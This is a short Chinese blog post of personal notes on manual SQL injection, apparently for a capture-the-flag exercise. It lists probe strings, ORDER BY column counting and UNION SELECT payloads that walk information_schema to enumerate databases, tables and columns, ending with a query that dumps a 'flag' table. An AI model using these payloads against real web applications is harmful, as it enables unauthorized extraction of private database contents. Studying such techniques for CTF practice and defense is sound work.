sql手工注入

猜是否存在注入:
'
' or 1=1#
') or 1=1#
"
猜这句sql语句的字段数目与内容的显示:
') order by 10# 二分法缩小,知道没有报错
') union select 1,2,3,4#
构造的内容:
') union select 1,x,3,x # questions

information_schema数据库中重要的表与表中的字段:(以下x=information_schema)
猜数据库:
当前数据库:database(),user(),version()
所有数据库:x.schemata schema_name
一个数据库中的所有表:x.tables: table_name where table_schema='xxx'#
一个表中所有字段:x.columns :columns_name where table_name='xxx'#

') union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

') union select 1,2,3,group_concat(schema_name) from information_schema.schemata #
') union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='others'#
') union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flag'#
') union select 1,2,3,group_concat(id,flag) from others.flag#

posted on 2018-12-09 23:14  thonsun  阅读(263)  评论(0)    收藏  举报